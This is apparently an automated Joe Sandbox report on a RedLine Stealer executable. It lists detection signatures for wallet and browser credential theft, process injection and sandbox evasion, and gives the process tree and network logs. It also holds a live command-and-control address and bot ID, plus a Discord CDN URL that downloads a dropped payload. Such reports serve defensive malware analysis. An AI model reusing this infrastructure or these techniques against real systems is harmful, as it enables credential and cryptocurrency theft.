Play interactive tour

Edit tour

Windows Analysis Report 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Overview

General Information

Sample Name:	702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe
Analysis ID:	511309
MD5:	6d8efbdd3c7a04521f1626f515562ef4
SHA1:	8c21fcfa81324673baea73cdcb505601aa996371
SHA256:	702d02cc220387cd8f2029520cde97bd3879a1e151b198b4e3faea08b808cc9a
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Found malware configuration

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Writes to foreign memory regions

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Tries to steal Crypto Currency Wallets

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Tries to detect virtualization through RDTSC time measurements

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

One or more processes crash

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Entry point lies outside standard sections

Contains long sleeps (>= 3 min)

Enables debug privileges

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Detected TCP or UDP traffic on non-standard ports

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe (PID: 7008 cmdline: 'C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe' MD5: 6D8EFBDD3C7A04521F1626F515562EF4)

AppLaunch.exe (PID: 7104 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

fl.exe (PID: 5840 cmdline: 'C:\Users\user\AppData\Local\Temp\fl.exe' MD5: 45B9D6DBC9ECF89F036E2F4B3A51CDB9)

WerFault.exe (PID: 5904 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 208 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["144.76.156.28:3333"], "Bot Id": "@black_capo"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.346316963.0000000000402000.00000020.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.281169813.00000000000C2000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000003.279227451.0000000002732000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.311962797.00000000000C2000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.282891500.00000000000C2000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 7104	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 7104	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.c3b70.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.AppLaunch.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe.2730000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 3 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 2.2.AppLaunch.exe.400000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["144.76.156.28:3333"], "Bot Id": "@black_capo"}

Multi AV Scanner detection for submitted file

Show sources

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Virustotal: Detection: 27%			Perma Link
Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Virustotal: Detection: 11%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\fl.exe	ReversingLabs: Detection: 21%

Machine Learning detection for sample

Show sources

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Joe Sandbox ML: detected

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49747 version: TLS 1.2

Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000000A.00000003.295825402.0000000005143000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wtsapi32.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb{ source: WerFault.exe, 0000000A.00000003.295825402.0000000005143000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000000A.00000003.295809845.0000000004FE1000.00000004.00000001.sdmp

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /attachments/902018470651248682/903220784527462500/Unprimness.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: no-cacheHost: www.google.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233

Source: global traffic

TCP traffic: 192.168.2.3:49742 -> 144.76.156.28:3333

Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28
Source: unknown	TCP traffic detected without corresponding DNS query: 144.76.156.28

Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: kl9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: AppLaunch.exe, 00000002.00000002.352186653.0000000007979000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: AppLaunch.exe, 00000002.00000002.348057731.0000000005731000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: AppLaunch.exe, 00000002.00000002.350211164.00000000075C4000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: AppLaunch.exe, 00000002.00000002.348494224.00000000071C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: AppLaunch.exe, 00000002.00000002.348595019.0000000007250000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
